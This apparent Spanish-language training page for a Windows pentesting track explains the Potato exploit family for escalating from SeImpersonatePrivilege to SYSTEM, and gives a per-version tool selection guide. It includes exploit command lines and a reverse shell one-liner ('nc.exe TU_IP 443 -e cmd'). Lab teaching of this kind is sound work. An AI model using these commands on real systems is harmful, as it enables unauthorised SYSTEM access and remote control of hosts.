Track Windows  /  Teoría
04 Vector estrella · SeImpersonate -> SYSTEM

La familia POTATO

Si al hacer whoami /priv ves SeImpersonatePrivilege (típico en cuentas de servicio: IIS, SQL, web), tienes el camino más fiable a SYSTEM en Windows. Es una familia entera de exploits que han ido evolucionando a medida que Microsoft parcheaba. Aquí están TODOS, por qué existe cada uno, y cuál usar según la versión.

🥔La idea en una frase

Con SeImpersonate puedes suplantar el token de cualquier cliente que se conecte a ti. El truco de todos los Potato: engañar a un proceso que corre como SYSTEM para que se autentique contra TI (por una named pipe, por COM/DCOM, por el servicio de impresión...). Cuando lo hace, suplantas su token -> ejecutas como SYSTEM. Cambia el "cómo lo engaño"; la idea es siempre la misma.

🌐Por qué las cuentas de servicio tienen SeImpersonate

IIS, MSSQL y muchos servicios corren como cuentas especiales (NT Service\..., IIS APPPOOL\..., mssqlserver) que necesitan SeImpersonate para atender a clientes en su nombre. Por eso, cuando consigues RCE en una web o una inyección SQL que te da shell, sueles caer como una de estas cuentas: miras whoami /priv y ahí está tu billete a SYSTEM.

⏱La familia, en orden histórico (y por qué cada una)

Microsoft fue parcheando; cada Potato nació para saltar el parche anterior:

RottenPotato (2016)el original. Suplanta vía NTLM relay local + DCOM. Hoy sobre todo conceptual/histórico.
Lonely/Juicy Potato (2018)generaliza RottenPotato: eliges el CLSID de un objeto DCOM. MUY usado. Funciona hasta Windows 10 1809 / Server 2016; Microsoft lo mató en builds posteriores.
RoguePotato (2020)cuando Juicy dejó de ir: usa un OXID resolver REMOTO (necesitas un redirector en el 135) para volver a abusar de DCOM.
PrintSpoofer (2020)abusa del servicio de impresión (Print Spooler) y una named pipe. MUY fiable y simple en Server 2019 / Win10+. Nuestra 1ª máquina.
GodPotato (2023)vía DCOM que funciona en un rango AMPLÍSIMO (Server 2012 R2 -> 2022, Win8 -> 11). Hoy es la navaja suiza.
SweetPotato / JuicyPotatoNG / LocalPotato (2022-23)colecciones y variantes nuevas que combinan técnicas o explotan fallos recientes (p.ej. LocalPotato, CVE de NTLM local).

▶Cómo se usa (flujo general)

1
1) Confirma el privilegio
whoami /priv -> SeImpersonatePrivilege = Enabled (o activable).
2
2) Sube el binario adecuado
PrintSpoofer.exe / GodPotato.exe / JuicyPotato.exe según la versión de Windows (systeminfo).
3
3) Lanza un comando como SYSTEM
ej.: PrintSpoofer.exe -i -c cmd · GodPotato.exe -cmd "cmd /c whoami".
4
4) Mejor: una reverse shell
lanza nc.exe TU_IP 443 -e cmd o un payload para recibir SYSTEM en tu listener.
5
5) Verifica
whoami -> nt authority\system. Lee la flag de SYSTEM.

El comando exacto de cada Potato lo tienes en el Arsenal. Aquí entiendes CUÁL y POR QUÉ.

🧐¿Cuál uso? (guía rápida por versión)

No sé la versión / quiero fiabilidadGodPotato (rango amplísimo) o PrintSpoofer. Empieza por aquí.
Server 2016 / Win10 <= 1809JuicyPotato (el clásico) suele ir directo.
Server 2019 / Win10 >= 1903PrintSpoofer o GodPotato (JuicyPotato ya no).
Server 2022 / Win11GodPotato (o variantes NG/Sweet si hiciera falta).
JuicyPotato no va y no hay internet al 135PrintSpoofer (local, sin OXID remoto) o GodPotato.
"Tengo SeImpersonate pero PrintSpoofer dice que no encuentra el pipe"
Prueba GodPotato: no depende del Spooler. Y confirma que el privilegio está Enabled en ESTA shell (a veces una shell distinta del mismo usuario lo tiene y otra no).
"JuicyPotato no devuelve nada"
Casi seguro es una versión de Windows donde ya está parcheado. Cambia a PrintSpoofer/GodPotato. No insistas con Juicy en Server 2019+.
"El Potato corre pero mi comando no hace nada"
Lanza algo observable: una reverse shell a tu listener, o whoami > C:\Windows\Temp\o.txt y léelo. A veces ejecuta bien pero no ves la salida en tu shell actual.
"Caí como usuario normal, no como cuenta de servicio"
Entonces no tienes SeImpersonate: este vector no aplica. Busca otro (servicios, tareas, credenciales). Los Potato son SOLO para cuentas con SeImpersonate.
🔎 No memorices comandos. Ten el Arsenal abierto en otra pestaña y busca ahí el comando exacto cuando lo necesites. Entiende el POR QUÉ aquí; el COMANDO lo copias del Arsenal.
Abrir Arsenal